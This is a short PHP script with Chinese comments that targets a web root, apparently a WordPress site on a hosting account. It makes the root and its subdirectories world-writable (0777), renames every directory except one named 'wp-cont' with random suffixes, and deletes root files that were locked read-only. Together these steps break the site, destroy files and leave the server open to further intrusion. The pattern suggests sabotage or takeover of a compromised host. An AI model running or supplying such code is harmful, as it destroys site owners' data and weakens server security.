<?php
// 定义根目录路径
$rootDir = dirname(__DIR__); // public_html目录

// 1. 设置根目录权限为0777
echo "正在设置根目录权限...\n";
if (is_dir($rootDir)) {
    chmod($rootDir, 0777);
    echo "根目录权限已设置为0777\n";
}

// 2. 遍历根目录下的所有目录
echo "\n正在处理根目录下的目录...\n";
$excludeDir = 'wp-cont'; // 要排除的目录
$items = scandir($rootDir);

foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    
    $fullPath = $rootDir . DIRECTORY_SEPARATOR . $item;
    
    // 只处理目录，且排除wp-cont目录
    if (is_dir($fullPath) && $item !== $excludeDir) {
        // 设置目录权限为0777
        chmod($fullPath, 0777);
        
        // 生成5-6位随机字母数字
        $randomStr = substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, rand(5, 6));
        $newName = $item . '_' . $randomStr;
        $newPath = $rootDir . DIRECTORY_SEPARATOR . $newName;
        
        // 重命名目录
        rename($fullPath, $newPath);
        echo "目录已重命名: {$item} -> {$newName} (权限:0777)\n";
    }
}

// 3. 处理根目录下的文件
echo "\n正在处理根目录下的文件...\n";
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    
    $fullPath = $rootDir . DIRECTORY_SEPARATOR . $item;
    
    // 只处理文件，不处理目录
    if (is_file($fullPath)) {
        // 获取当前文件权限
        $perms = fileperms($fullPath) & 0777;
        
        // 检查权限是否为0444或0555
        if ($perms === 0444 || $perms === 0555) {
            // 设置权限为0777
            chmod($fullPath, 0777);
            
            // 删除文件
            unlink($fullPath);
            echo "文件已删除: {$item} (原权限:{$perms})\n";
        }
    }
}

echo "\n操作完成！\n";
?>